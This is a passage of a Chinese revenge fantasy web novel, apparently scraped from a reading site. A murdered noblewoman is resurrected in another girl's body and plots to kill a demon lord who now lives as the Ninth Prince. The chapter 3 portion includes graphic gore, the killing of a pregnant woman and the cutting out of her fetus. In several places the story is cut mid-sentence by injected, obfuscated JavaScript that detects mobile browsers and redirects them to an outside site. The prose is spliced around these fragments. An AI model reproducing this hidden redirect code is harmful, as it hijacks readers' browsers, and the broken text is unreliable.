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“道蓝。”她夫君担心不已,也想跑过去,刘家主却不让。 “她还怀着我的孩子呢。”她夫君想借此打动自己的父亲,“父亲,那是我们刘家的血脉。” 刘家主只是说:“静观其变。” 顾修打量着贺远黛,目光最终落在她微微隆起的肚子。 贺桑青心道不妙,正想推开贺远黛,顾修手起手落,长剑先是划开了贺远黛的脖子,又毫不停留划开了贺远黛的肚子,他伸手进去,挖出刚成型不久的胎儿。 贺远黛连喊疼的机会都没,就倒在了贺桑青面前。 贺桑青尖叫一声。 “啊!” 贺远黛的夫君承受不住这个打击,直接两眼一黑,晕倒了。刘家主虽恨,但此刻也没办法。 顾修淡淡道:“腹中胎儿的痛苦原来是随她母亲的。” 说完,他将胎儿塞了回去。 贺远黛睁着空洞涣散的双眼,没了呼吸,肚子那个血淋淋的洞和还没成型的胎儿触目惊心。 贺桑青扑过去,用力掐住顾修脖子,她眼泪跟断了线的珠子,一直往下掉个不停:“我杀了你!” 顾修却还在笑。 “你是杀不了我的。”他抬手,将天心剑没入她身体,“下去陪你父母,还有贺氏一族吧。” 死前,她看他的眼神很是怨恨,恨不得饮其血,生啖其肉。 然后,他心口莫名抽搐,发疼。 他落泪了。 看来顾修真心爱这个女人,被他夺舍了,身体还记得她。爱一人真的会如此?他简直无法理解。 顾修漠然地推开贺桑青的尸体,命令看守女子放走那些客人。 他余光扫过还插在贺桑青身上的天心剑,又返回去取出来,放眼前端详片刻,用指尖蹭了蹭剑身还热着的血,再折断天心剑。 天心剑断成两截,静静躺在贺桑青的尸体旁边。 顾修随意挥了下手,头也不回地离开,一场大火迅速席卷整个贺家庄,还有遍地的尸体。 4. 第 4 章 贺桑青是在一辆马车里醒来的,一睁眼就看到个陌生男子。 他满头白发,仅用一条发带随意绑着,垂在低调的青衣上,看着却又很年轻,高个子,有一张极好的皮囊,鼻高唇薄,艳如桃李。 似乎是察觉到什么,男子空洞的双眼转向她:“你醒了?” 嗓音清润,悦耳。 听着也很年轻,头发应该与年龄无关,只是早生华发。 贺桑青带着戒备心和疑惑的目光落在男子的眼睛,看出了他双目失明。不过这与她无关,她只想知道自己为何会在这里?不是死了? 一想到贺家庄的事,她心中就燃起滔天的恨意,还有无穷无尽的疼,失去家人、族人的疼。 贺桑青闭了闭眼,藏好眼底的情绪,再次审视眼前人。 他是谁? “你是谁?”这么想着,便问了出口,现在没什么好怕的。 男子怔愣片刻。 不等他回答,车帘被人从外面掀开,一个容长脸面的女子弯腰进来:“国师,我家三姑娘她还没醒……三姑娘,您终于醒了!” 贺桑青往后退,避开女子的触碰:“我不是你家三姑娘,你认错人了。停车,我要下去。” 她要回贺家庄。 “说什么呢,您就是三姑娘啊。”女子不知所措,求助男子,“国师,三姑娘怎会如此?” 那个被她称之为国师的男子像是回过神:“可能是掉下悬崖时,伤着头,忘却过往了。” 贺桑青起身就要离开。 他抓住了她手腕,隔着一层衣服,格外有分寸,语气冷静道:“我知道你心中有何疑虑,请相信我,我会解释清楚的。” 她蹙眉,无意跟他们纠缠。 “我真不是……” “我们找个地方休息片刻。”他游刃有余转头对女子说,“我有事和你家三姑娘单独谈谈。” 女子看了看他,又看了看贺桑青,神情写满担心,但还是出去了。马车停下来,她和车夫走到远处,时不时往他们这边看。 国师靠窗听外面的动静,确定人走远了才开口。 “你先照一下镜子。” 说着,他递去一枚铜镜,贺桑青迟疑着接过,待看清楚镜中人的样貌后,一下子呆住了。 这是谁?这不是她的脸。 国师松开了她的手:“这张脸是徐州郑家三姑娘的。” “是九大家族之一的那个徐州郑家?”不对,他这样说,是知道她并非徐州郑家三姑娘? 他仿佛她肚子里的蛔虫,猜到她正在想什么:“我知道你的真实身份是青州贺家三姑娘。” * 一个时辰后,马车重新启程。 贺桑青闭目消化着国师的话,他说他是李大夫的师弟,二人皆出自药王谷,李大夫有预知未来的能力,却又因为某些原因,不能干涉,拜托他这个师弟来帮忙。 复活贺桑青,令她重生,就是他要帮的忙。 贺氏一族的魂魄全被魔主吞噬殆尽,尸体也被大火烧成灰,连转世投胎都不可能了,他们从此在人世间消失得一干二净。 只有她的幸存。 不知道为什么,魔主没吞噬掉贺桑青的魂魄。也许是她死前悲愤到极致,物极必反,魂魄碎得不成样子,对他来说没用了。 正因如此,他才能复活她。 不过复活这件事不简单,他找了十几年才找回她碎成渣的魂魄,又花将近一年时间拼凑起来。 除此外,他还要花心思保存贺桑青的尸身。当年魔主放火烧贺家庄,他及时赶到,悄悄带走了她的尸身,这是复活她的第二个条件。 有魂魄还不够,还要尸身。 贺桑青是一介凡人,没法通过夺舍或借尸还魂等手段复活,魂魄只能回归到自己身体里。 所以她现在的这具身体还是她以前的身体,只不过他通过精湛的医术给她换了一张脸,换成前不久坠崖死了的徐州郑家三姑娘。 其实他也不确定能否成功,毕竟这也是他第一次做这种事。 当确定成功时,他怔愣了片刻。 他让她以后对外就说她坠崖失忆了,不记得以前的事,用这个身份继续活,不用担心暴露。 至于为何要用徐州郑家三姑娘的身份,实属不得已而为之。 重生,本就是逆天而为。 他费尽千辛万苦才找到命格跟贺桑青相似的人,一直等到她意外身亡,瞒着其他人做了一场法事,借此瞒过天道,避免遭天劫。 贺桑青死过一次,不再像以前那么天真,也不再那么容易相信人了,她问他李大夫在哪儿。 显而易见的,她还不信他。 他理解,说了些只有贺桑青和李大夫才知道的事,还拿出一根捣药杵给她看,说这是她当年送李大夫,李大夫用到现在。 李大夫也猜到她不会轻易相信别人,早有准备。 贺桑青终于愿意相信他,提出想见李大夫一面,他却说他现在也不知道李大夫身处何处。 他们俩师兄弟从不向对方报备行踪,会不会遇到全凭缘分。 他师兄想找他容易,他是国师,随便一打听就知道在哪儿。他师兄就不同了,喜欢云游四海,居无定所,想找他就难了。 贺桑青没再纠结见李大夫,突然很想问国师一个问题。 顾修在哪儿? 如今距离贺家庄惨遭灭门已经过去整整二十四年,可对她来说,就好像还是昨天发生的事。 她忘不了,也不可能忘。 既然重生了,那她得亲手杀了顾修,为贺氏一族报仇。 话到嘴边,贺桑青又咽了下去。 方才喊她三姑娘的女子就在身边,此人是徐州郑家三姑娘的侍女,不过刚来伺候不久,对很多事不了解,也不了解“她”。 原本徐州郑家三姑娘有个伺候她十多年的侍女,坠崖后,侍女就被国师用三言两语换掉了。 说侍女生辰八字跟她不合,长此以往会克她,对她不好。 国师在大齐的声望极高,上到当今圣上,下至平民百姓都十分信奉,她母亲也不例外。 更何况,自己的女儿刚经历过坠崖,至今未醒,性命垂危。 说不定就是被克的。 她母亲还问以后由谁伺候她比较好,他没打算安插人到贺桑青身边,随意指了个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485658|201985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郑家丫鬟。 可迟迟不见贺桑青醒来,他想仔细给她检查一番身体,碍于郑家人多口杂,找借口带她出来,美名其曰是到他的地方做一场法。 谁知回来的路上她就醒了。 “姑娘?”侍女见贺桑青看着自己,以为她有事吩咐。 贺桑青摇头:“没事。” 国师一手拿盲杖,一手提起马车侧面的小帘“看”外面,侧脸对着她,纤长眼睫毛迎光眨动。 他慢条斯理道:“三姑娘,回去好好休息,别想太多,过几天,我还会到郑府看你的。” 言下之意,别轻举妄动。 这一声三姑娘,在贺桑青听来,是贺三姑娘,非郑三姑娘。 贺桑青恍惚了下:“好。” 马车驶入城内,转了几条街,停在郑府大门前。 朱漆大门前的青铜兽首衔环气势磅礴,旁边立有两头石狮,正上方用金漆写下的“郑府”二字牌匾夺目璀璨,与红墙黛瓦相映。 一下马车,郑府的奴仆就立刻迎了上来:“三姑娘。” 他们表情震惊,诧异三姑娘恢复如初的同时对国师越发崇拜,他带三姑娘出门做一场法事,她就醒过来了,未免太过厉害。 领头那个奴仆道:“快去告诉夫人,三姑娘回来了。” 贺桑青没吭声,转身看国师,只见他温言婉拒了仆从要扶他下来的好意,自己用盲杖导路,踩着脚凳走下来,也不怕踏空摔了。 真是个要强的人,她心道。 不过他下来干什么,不是要直接搭马车离开?总不能是特地下来跟她道别吧,贺桑青刚想问,姜夫人出来了,抱她个满怀。 她下意识想推开对方,想起自己现在的身份,忍住了。 姜夫人顾不得有外人在,眼角微微泛起潮气,红了大半:“太好了,你终于醒了,你都不知道为娘这段时间是怎么过的。” 听着姜夫人关心女儿的话,贺桑青脑海浮现自己母亲关心她的样子,僵立身子,不知作何反应。 国师淡笑:“姜夫人。” 姜夫人这才发觉国师在此,忙不迭对他表达谢意:“国师,您的大恩大德,我这辈子都会铭记于心。” “姜夫人言重了。” 他不亢不卑道:“有件事,我得要告诉您,三姑娘坠崖时伤及头颅,醒来后忘记以前发生过的事了,接下来几天,她需要静养。还有,最好不要见外人。” 只要女儿能救回来,平安无事,失去记忆又算什么? 姜夫人心疼地握住贺桑青的手:“没事,忘了就忘了,想知道什么,阿娘讲给你听便是。” 贺桑青依然沉默着。 姜夫人想请国师进去喝杯茶,他以还有事要办为由拒了。 就在此时,一阵急促的马蹄声纷至沓来,几匹马停在不远处,为首的男子身姿挺拔,锦袍加身,玉带缠腰,悬了一把刀。 他居高临下扫了眼他们,是那种贵族子弟特有的上位者眼神,然后翻身下马,到大门前。 姜夫人赶紧行礼:“九皇子。” 贺桑青没行礼,难以置信地盯着他的脸看,一步步向前走。 是顾修。 5. 第 5 章 贺桑青举止异常,九皇子留意到了,他原地不动,不动声色看着她朝自己走来,想知道她意欲何为。 就在贺桑青快要走到他面前的那一刻,国师从身后拉住她。 她回头。 借宽袖的遮挡,国师轻敲了下她的手再松开:“三姑娘,你身体还很虚弱,早点回府休息。” 他明明是瞎子,眼睛却总能准确地捕捉到她身处何地。 只要贺桑青稍稍抬起头,便能与他“对视”上。此时,她的理智和恨意轮番占据着大脑。 理智告诉她,国师现在拉住她,也许是因为知道九皇子是顾修。可恨意让贺桑青立刻杀了顾修,杀了他杀了他杀了他…… 最终,理智暂时战胜恨意。 先弄清楚顾修为什么会成为大齐九皇子。当年那些去贺家庄参加过他们大婚的人难道认不出这张脸?贺桑青强迫自己冷静下来。 不能再像之前那样冲动送死了,她得珍惜这次重生的机会。 九皇子视线在他们之间徘徊着,猜到她就是传说中坠崖的郑三姑娘,挑了挑眉,似随口说:“国师还挺关心郑三姑娘。” 国师回以一笑。 他们立于门前石阶下,贺桑青站在国师那一边,九皇子孤身一人。他往前走几步,距离拉近:“听说郑三姑娘前阵子坠崖昏迷不醒,是国师一直陪在她身边。” 国师只是轻飘飘来了一句:“受人所托罢了。” 一语双关,旁人听了只会以为他是受姜夫人所托救治她,只有贺桑青知道他到底是受谁所托。 九皇子若有所思,不再多言,越过他们上石阶,与贺桑青擦肩而过,目不斜视进了郑府。 贺桑青抬眸,凝望他背影,垂在袖中的手紧紧握成拳。 姜夫人看在眼里,却误会了。 九皇子年轻有为,容貌出色,不少女子对他一见钟情,芳心暗许。她以为自家女儿也是如此,这才情难自禁靠近九皇子。 人都走远了,还依依不舍地望着他背影。姜夫人捂唇,揶揄道:“人都走远了,还看。” 贺桑青收回目光:“他为什么住在郑……我们府里。” 姜夫人:“你坠崖没多久,九皇子就来了徐州,我们郑家常年镇守徐州,自然得出面招待。” “他来徐州干什么?” 她问那么多有关九皇子的事,姜夫人越发坚信贺桑青对他有意了:“这我就不清楚了,你要想知道,可以去探探你爹的口风。” 贺桑青不知道姜夫人想歪了:“他会在徐州待多久?” “九皇子倒没说过会待多久。”姜夫人思索了下,“不过依我看,最长不超过一个月。” 她心潮起伏。 仇人就近在眼前,她真怕自己忍不住暴露身份,动起手来。 贺桑青动动手指头,有点湿润,指甲掐破掌心,血顺着皮肤纹路流动,被她蹭到长袖内。 国师拄盲杖走向马车:“如果没什么事,我先走了。” 姜夫人颔首:“国师慢走。” 贺桑青抬起手,想扶他上马车:“国师,谢谢你救了我。” 这一声感谢是发自内心的,没想到这世上还有人希望她活着,四处奔波,只为她能重生。 虽说他是受人所托,但真正做事的那个人是他。 刚苏醒那一会,她脑子还很乱,现在才意识到自己没向他表达过谢意,这不应该,得补上。 “举手之劳,不必放在心上。”国师“看”贺桑青一眼,推开她的手,仍靠盲杖上马车。有礼,却也疏离,无形中拒人于千里之外。 贺桑青的手落在半空,微风钻进空空如也的指缝,吹透了。 他好像有点难相处。 但不得不说,他们才刚认识不久,他之所以跟她有来往,完全是因为他师兄,其实这样也对。 不介入他人因果是正确的,当年若不是她介入了顾修的因果,也不会导致贺家庄沦落至此。 她垂手,暗呼一口气。 帘子落下,隔绝双方视线,国师端坐车内,摩挲着手中盲杖。 车夫驱马前行,轮子压过地面。 马车渐行渐远,很快没了影,姜夫人带贺桑青回府,吩咐仆从取火盆来,让她跨过去,散散晦气,又让她用柚子叶水沐浴一番。 郑家主出门办事还没回来,姜夫人说她可以先休息,等第二天再去向她父亲请安也不迟。 贺桑青不了解徐州郑家,借着失忆的名头打听。 姜夫人毫无保留,将有关郑家的事一五一十告知她,还特地叮嘱她没事不要管隔壁,语气不受控制地带了几分厌恶之情。 隔壁指的是颜夫人。 颜夫人本是妾,后来被郑家主提为平妻,她和姜夫人在名义上平等,待遇方面也都是按照正妻来的。 平日里,姜夫人的女儿得尊敬喊颜夫人一声“二娘”。 颜夫人也生了个女儿,比姜夫人的女儿大一岁,年纪轻轻便被成为徐州第一才女,颜夫人也跟着水涨船高,更受郑家主的重视。 后来,郑家主决定送她去书院,顺便带上了姜夫人的女儿。 她还是一如既往争气,在书院里脱颖而出,无论哪方面都力压其他贵女,而姜夫人的女儿还是一如既往逊色,干啥啥不行。 夫子总是拿两姐妹做对比,夸赞当姐姐的,贬低妹妹。 再加上郑家主膝下无子,只有她们两个女儿,尽管说手心手背都是肉,但人心总会有点偏的。 长此以往,姐妹俩的感情自然好不到哪儿去了。 说到此处,姜夫人担心贺桑青误会自己怪她没出息:“阿娘没想要你出息,你平安就好。” 贺桑青“嗯”了声,又向姜夫人打听九皇子。 直到夜深,姜夫人才离去,侍女进屋准备伺候贺桑青歇下,她却没一丝一毫睡意,行至窗台前,什么也不做,只是干站着。 侍女守在旁边直打瞌睡。 她打发掉侍女,独自出去逛逛,徐府很大,光是后花园就够人逛一阵了。前方小道穿插假山流水,月光缓慢流淌,照着两侧争奇斗艳的百花,令人如身临林间。 可她没任何观赏的心思。 沿着蜿蜒小路走,不知不觉间走到了一处僻静的院子附近。 院子墙边爬满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485659|201985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 藤蔓,长在里面的竹子探出数截枝叶,风一过,几片细长叶子便簌簌落下来。 贺桑青接住其中一片枯黄竹叶。 据她所知,顾修就住在这处院子里。是他主动要求的,安静点的地方,不要太多人伺候。 她摊开手,扔下竹叶,不由自主想他在做什么? 睡觉? 要不要趁他睡觉的时候杀了他? 深夜,恨意比白天来得更浓重、更清晰,理智像被一颗大石头压住,她也被压得喘不过气。 贺桑青正纠结着进去还是回去,余光扫见墙上一抹衣角,定睛看,九皇子不知何时坐在那里。 月光恰好在这瞬间明亮了起来。 他手持白瓷酒壶,长腿垂墙边悬空,上半身稍往后倾斜,圆领紫袍衣襟稍松,脖颈修长。 本该是仰头赏月的姿势,他此刻却微微低头看着下方的她,永远高高在上的姿态,仿佛在看一只渺小又孱弱无能的蝼蚁。 贺桑青厌恶他这种表情,当年他杀她全族时也是这种表情。 “郑三姑娘找我有事?” 九皇子轻身一跃,落到贺桑青跟前,龙涎香扑鼻而来,混了一缕酒香,二者结合,分外醉人。 “我只是路过而已。”她装作随意地碰了下发髻,放下手后掌心多了一支簪子,顶端尖锐。 “是么?” 他举起酒壶,喝了口酒:“我看你像是犹豫着要不要进院子的样子,以为你找我有事。” 贺桑青若无其事后退一步:“我找你能有什么事。” “谁知道呢。”他笑。 她捏紧簪子。 九皇子突然收了笑,弯腰挨近她:“我们以前认识?” 他的脸在她面前放大,脆弱的喉咙也近在咫尺,只要捅进去……贺桑青差点就想将簪子捅进去,关键时刻,理智再次占据上风。 没十足的把握,不要乱来,她收回簪子:“怎么可能。” 贺桑青尽量面不改色。 “你知不知道你现在看我的眼神像什么?像对我恨之入骨,藏也藏不住,我对这种眼神太熟悉了。”他观察着她,“你恨我?为什么,我们不是才见过两面?” 她顺着他的话说下去:“你也说了,我们才见过两面,我为什么会恨你,这完全不合理。” 他直起身子,还在扫视贺桑青,却始终没把她这个人放眼里。 “我们以前真不认识?” 贺桑青用尽全身力气才能对他笑:“九皇子的记忆是大齐出了名的好,听说只要看一遍书就能默下来。我们以前要是认识,你怎会不记得,用得着问我?” 她解释:“你说我看你的眼神像对你恨之入骨,那是个误会。我从小到大就这样看人,经常被人误会,不信你可以问我阿娘。” 九皇子轻轻摇两下酒壶,酒水晃动:“也许是我想多了。” 再跟他面对面待在一起,贺桑青会疯的,她继续后退:“那我就不打扰九皇子休息了。” “且慢。” 九皇子挡在石道,扼住她手腕,往下移,越过长袖,触碰她指尖:“你手里拿着什么东西?” 6. 第 6 章 月光拉长他们交叠到一起的身影,看着像亲昵地牵手。 事实上,九皇子很用力,给人感觉下一刻就要捏断她的手指骨,贺桑青想抽回手,他却按住了:“可否请三姑娘给我看看你的手?” 贺桑青表现得无辜,不答反问:“九皇子这是什么意思?” 他懒得解释,掰开她紧握成拳的手,一根又一根手指被掰得充血通红,露出掌心,上面空无一物,只有因挣扎产生的指痕。 没东西?九皇子微怔。 “看够了?” 手上那支簪子早藏好了,他怎么可能找到,退一万步来说,就算找到了,她也能说是不小心从头上掉下去,再捡起来的。 贺桑青故作受到羞辱般,猛地抽回手,这次并未遭到阻止,九皇子只是看着。她揉了揉发疼的部位:“你以为我手里有什么?” 不到片刻,他神色如常,笑着道:“是我误会三姑娘了。” 到了这个地步,一般人会碍于对方皇子的身份,不再追究。可贺桑青心怀对他的恨意,情绪上头了,没善罢甘休的念头。 她重复道:“我问你,你以为我手里有什么?” 九皇子笑容淡了些。 对于忤逆、质疑他的人,他一向都是直接找个由头杀了的。 不过她暂且不能随随便便杀了,好歹是替大齐镇守徐州的郑家主之女,不看僧面,得看佛面。 可惜不能以她对他意图不轨定罪,惩罚一二,毕竟她只是在院子外面走过,不曾踏进去半步,更别提这是郑府,她的家。 他俯视着她,没回答。 “你是九皇子没错。”贺桑青冷冷地望着他,“但这不代表着可以随意对待我,羞辱我。” 气氛僵持不下,一人沿石道而来,黑衣,腰束红带,高马尾,小麦肤色,长相俊俏,样子如少年,气质却又沉稳,看不出具体年纪。 他像是看不见贺桑青,径直走到九皇子身前:“主子。” 贺桑青记得他。 当年,贺家庄被灭门时,他也在,不知是顾修何时收的手下,奉命看守着贺氏族人和客人。除了他之外,还有一个女子。 他也杀过不少贺氏族人,即使是奉命行事,一样是她仇人。 贺桑青垂下眼,忍耐着。 向九皇子行完礼,少年这才扫了她一眼,又看回他,迟疑了下:“主子,奴有事禀告。” 他摆了摆手,直视着贺桑青:“三姑娘还有什么想说的?” 这是她不方便听的意思。 往后想杀他,还得找机会近他身,在这种时候闹得太僵,对她没好处。贺桑青缓和了态度:“方才是我激动了,还望九皇子见谅。” 她转身离开。 不知为何,少年多看一眼她远去的背影,似在想什么。 九皇子目光掠过他腰间绣着“黛”字的香囊,想起他夫人前不久生了孩子,顺口关心一句下属:“你夫人身体如何了?” 少年面无表情:“劳主子挂念,她身体恢复得差不多了。” 按理说,他这种“人”不该成婚生孩子的,如此一来就有了弱点,可有些事总是会脱离掌控。 九皇子点了点头,言归正传道:“我让你查的事查到了?” “是。” * 回到房间,贺桑青扑进床,疯狂用簪子刺被褥,仿佛那不是普通的被褥,而是顾修和他手下。 不知刺了多久,她精疲力尽地躺在破烂的被褥上,满头大汗,泪水沿眼角滑落,濡湿鬓间发丝。 簪子刺穿被褥的同时也刮破了手,鲜血蹭得到处都是。 贺桑青无心清理,就这样睁着眼过了一夜,次日等到侍女来敲门,她才随便卷起被褥扔到床底。 被褥容易处理,手上的伤却不容易处理,侍女进来伺候她更衣时发现了,连忙问怎么受的伤。 “不小心弄到的,小伤而已,不用大惊小怪。” 侍女见她不愿多说,也不好问下去,只好先小心翼翼绕过那些伤为她更衣,再拿药来包扎。 贺桑青闭目坐着,眼底一片青黑,一看就是没休息好。 勉强打起精神用过早膳,下人来禀说郑二姑娘来了,她没理由避而不见,让侍女领人进来。 郑锦书带来不少补品,瞧举动很关心她这个妹妹,可脸上表情却是清冷的,说的话好像被凉水泡过,也是清冷、没多少感情的。 “你还挺命大。” 从那么高的崖坠下去,找回来的时候已经只剩一口气,所有大夫都让姜夫人准备好后事,却不料国师找来说,他有办法治好她。 这一治就是半个月。 她始终没醒来,郑锦书起初以为这国师不过是夸大海口。 直到昨日听说她恢复意识了,郑锦书才不得不承认国师确实有能力,难怪那么多人信奉他。 郑锦书派人将这个消息告知还在城外寺庙为她祈福的颜夫人,颜夫人喜极而泣,捎口信回来嘱咐郑锦书亲自拿补品送给她。 不然,郑锦书今日也不会带那么多东西来看她。 姜夫人记恨她们母女俩抢走父亲的宠爱,母亲却视姜夫人的女儿为亲生。郑锦书不理解母亲为什么要这样做,用热脸贴冷屁股。 贺桑青安静打量着郑锦书。 两姐妹虽同父异母,但长得还是有几分相似,鹅蛋脸,皮肤白皙,眉眼好看,鼻子小巧窄挺,薄唇,天生带点自然红润。 郑锦书喜欢穿素色衣裙,很少戴什么首饰,配上她的气质,莫名有点不食人间烟火的仙气。 贺桑青视线从她的脸移到手背,有几道因鞭子留下的疤痕。 其实贺桑青并不是第一次见她。 皇族、九大家族和普通百姓不一样,他们的寿命长达五百年,三百岁后才会慢慢地老去。对他们来说,两百岁以下都是年轻人。 郑锦书还很年轻,样子没什么变化,贺桑青一眼便认得了。 重生前,贺桑青在大婚那天见过郑锦书,她随郑家主来参加婚宴,临危不乱,曾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“阿娘那边,我自会去说,你不必担心。”话音刚落,又有人来禀说国师来了,贺桑青立刻起身,让下人快快请他入内。 国师一进屋,贺桑青就屏退左右,急不可耐拉着他问:“顾修怎么会成了大齐的九皇子?” 他扯回被她拉着的衣袖,平静道:“他并不是顾修。” 原本打算过几天再来郑府,想到她急着知道一切,说不定会做出些什么,这才提前来找她的。 贺桑青激动得红了眼,斩钉截铁道:“不可能!他就是顾修,他化成灰,我也认得他。” “真正的顾修已经死了。” 她目露茫然,绕着他走一圈,抓了抓头发,思考这句话是什么意思,发现自己根本想不明白:“什么叫真正的顾修已经死了。” “你说的话,我怎么听不明白,他不是就在这里?” 国师轻声:“杀你全族的人不是顾修,是魔主。顾修是无辜的,他……只不过是被夺舍了。” 他又道:“被夺舍的那瞬间,他就已经死了,神魂俱灭,从此,身体彻彻底底属于魔主。” 贺桑青眼睫一颤,滚落一滴泪。 7. 第 7 章 贺桑青花了很长时间才能接受此顾修非彼顾修的事实。 她失魂落魄呆坐在椅子上。 原来、原来她一直都恨错了人,顾修是无辜的。 在她不知道的时候,他早就被魔主害死了,她却没认出来,还傻乎乎地期待他们的大婚。 贺桑青喉咙发疼,像要沥出血。 国师接着道:“魔主之所以会成为大齐九皇子赵拾玉,是因为他当年屠尽贺氏一族,有违天道,触发天罚,要受天雷。” 她眼睛一亮,似看到复仇曙光。 “他身体尚未彻底恢复,没法承受天罚,可他又很狡猾,想借转世投胎历劫来抵挡天罚。” 此话一出,贺桑青眼底的光瞬间灭了下去,咬紧牙关。 国师顿了下:“他本没了自己的身体,夺舍顾修,已融为一体,转世投胎后,依然用顾修的身体,九皇子便是转世投胎的他。” 她抿了下发干的唇:“那……” 他打断道:“我知道你还想问,为什么那些见过顾修的人看着他这张脸却不觉得奇怪。” “你知道直说就是,别卖关子了。”贺桑青心急如焚。 反观国师,仍是从容不迫的姿态:“魔主转世投胎前,对所有人的记忆都动了些手脚。” “如今除了你我、我师兄外,没人记得顾修长什么样子,他们只记得他丧心病狂,恩将仇报,在大婚当日杀了养大自己的贺氏夫妇,还有自己的妻子这件事。” 国师轻轻敲过盲杖。 “现在在他们眼里,他只是大齐九皇子赵拾玉罢了。” 一开始,他并不打算告诉她有关顾修的事,不希望她困在仇恨里,想让她平淡地过完这一生。 不料她居然还认得出顾修的脸,想来是魔主以为她魂飞魄散,死透了,没干扰她的记忆。 贺桑青不禁冷笑出声。 怕别人记得他的样子,在他转世投胎后找上他,坏他好事? 真是打得一手好算盘。 无论如何,贺桑青都不会让他得逞:“既然转世投胎了,那他是不是忘了以前发生过的事。” 国师点头:“是。” “我现在杀了他,会怎么样?” 他语气凝重:“他本体不在这里,你直接杀了他,他还可以继续转世投胎,直到天罚结束。” 她要的不是这个。 她要的是他跟那些惨死的贺氏一族一样,永远从世间消失:“我可不可以借天罚杀他?” “你想得太简单了。”国师毫不留情打破了她的幻想。 “他是魔主,力量强大,哪怕尚未彻底恢复,天罚也杀不了,只会重伤他。到那时,他会藏起本体沉睡,没人能找得到。” 贺桑青就不是轻易放弃的人:“到底要如何才能彻底除掉他?我愿意付出任何代价的。” 国师显然不赞成她复仇。 他劝道:“冤冤相报何时了,不如你就此放下仇恨,以徐州郑三姑娘的身份安分活着。” 让贺桑青放弃复仇,重生有什么意义,还不如让她死了算了:“换作是你,你会放下仇恨?” 在这件事上,她绝不让步。 若他因此后悔救了她,贺桑青愿意还这条命给他,不过得等她除掉现在的顾修,也就是魔主。 国师沉默不语。 她有她的坚持,他也有。 “告诉我,如何才能除掉他,我给你跪下了,求你。”昔日天不怕地不怕,从不向人低头的贺桑青膝盖一弯,欲下跪求他。 国师提了提手中那根盲杖,抵住她膝盖,没有让她跪下去。 贺桑青有时候真的怀疑他其实能看得见,装瞎而已,不然怎会总是能及时察觉她想做什么。 “跪我没用,我只想当好我的国师,不想掺和进来。” 说罢,抬起她膝盖。 她又站直了身子:“我理解,我也没想让你掺和进来,你只需要告诉我如何才能除掉他。剩下的,我自己会做,不用你帮忙。” 国师低喃:“你这又是何苦呢,真要一辈子和仇恨纠缠,不顾一切跟他斗个你死我活?” 贺桑青一字一顿道:“这是我活下去的念想。” 他还想说些什么,她这次毫无征兆地扑通一声跪下,接连磕了三个响头:“求求你了。” “赶紧给我起来。” 贺桑青垂眼,双手伏地,一动不动,倔强得像一头驴:“你不告诉我,我就不起来了。” 国师:“你威胁我?” 她慢慢地摇了摇脑袋:“我没有威胁你,是在求你。” 良久,他扶起贺桑青。 “想办法让他生出常人之心,然后在他一生之中最高兴的时刻杀了他。到时候,他本体会出现了,再杀他一次,就是真死了。” 他终究还是告知她方法了。 贺桑青没理膝盖的酸疼,忙不迭追问:“如何判断他何时生出常人之心,又如何判断他何时才是一生之中最高兴的时刻?” 他拿出一条项链,递给她。 她双手接过。 银项链色泽黯淡,平平无奇,贺桑青看不出什么:“这是?” “项链发烫、完全亮起,代表他生出了常人之心,变亮的项链再变红,代表他正处于一生之中最高兴的时刻,你就可以杀他了。” 国师示意她戴上项链。 贺桑青没半点迟疑,戴上了,有些出乎他的意料:“你就这么相信我,不怕我在骗你?” 她坦诚道:“怕。可我没别的路可走了,我只能相信你。” 他偏过脸:“还有一件事,你得注意。在此之前,他若死了,你便前功尽弃,得等他下一世,所以你不能让他死在别人手里。” “好。” 贺桑青不会让他再活一世,这样太便宜他了,能活那么久,他们的恩怨就在这一世解决吧。 想起昨晚的事,她又问:“他身边的手下也转世投胎了?” 国师无所不知般,也知道此事:“屠尽贺氏一族的是魔主,天罚与他们无关,但如果他们想守在他身边,得封住体内魔族的力量,免得被天道察觉。” 贺桑青了然:“也就是说他们虽有以前的记忆,但跟人一样,不能用魔力,只有武力?” “没错。” “谢谢你告诉我这些。”她摸着脖子的项链,不知想什么。 他拄盲杖迈步,宽大衣袖拂过她手背:“时辰不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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没想到颜夫人和郑锦书更早到。 母女俩坐在一起说说笑笑的,不过笑的只有颜夫人,郑锦书永远是一副冷冷淡淡的表情。 颜夫人见贺桑青来了,立即站起来,笑着唤道:“子乐。” 郑三姑娘名唤子乐,贺桑青是知道的,她也扬起笑上前去,正要朝颜夫人问好,姜夫人来了。 姜夫人没给贺桑青喊人的机会,一把拉过她坐下,问她为什么不换新衣,穿得这么随便。 